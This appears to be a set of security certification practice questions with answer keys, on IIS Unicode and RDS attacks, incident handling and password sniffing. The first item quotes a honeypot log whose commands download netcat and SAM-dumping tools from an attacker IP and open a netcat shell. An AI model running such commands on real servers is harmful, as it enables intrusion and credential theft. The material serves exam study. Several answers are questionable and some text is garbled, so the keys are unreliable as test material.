- (Topic 3)
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00
>>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

1. A. It is a local exploit where the attacker logs in using username johna2k
2. B. There are two attackers on the system – johna2k and haxedj00
3. C. The attack is a remote exploit and the hacker downloads three files
4. D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

- (Topic 3)
Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subjectJulie? paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America. What crime should Julie focus on?

1. A. Physical theft
2. B. Copyright infringement
3. C. Industrial espionage
4. D. Denial of Service attacks

Correct Answer: C

- (Topic 3)
What stage of the incident handling process involves reporting events?

1. A. Containment
2. B. Follow-up
3. C. Identification
4. D. Recovery

Correct Answer: C

- (Topic 3)
An "idle" system is also referred to as what?

1. A. PC not connected to the Internet
2. B. PC not being used
3. C. Zombie
4. D. Bot

Correct Answer: C

- (Topic 3)
John and Hillary works at the same department in the company. John wants to find out Hillary's network password so he can take a look at her documents on the file server. He enables Lophtcrack program to sniffing mode. John sends Hillary an email with a link to Error! Reference source not found. What information will he be able to gather from this?

1. A. The SID of Hillary network account
2. B. The SAM file from Hillary computer
3. C. The network shares that Hillary has permissions
4. D. Hillary network username and password hash

Correct Answer: D
Note: From the question, we would have to assume that John is not the Administrator, since he needs to run L0phtcrack in sniffing mode. But what if the company is using switches instead of Hubs? John would either try to degarde the switch or perform a man in the middle attack.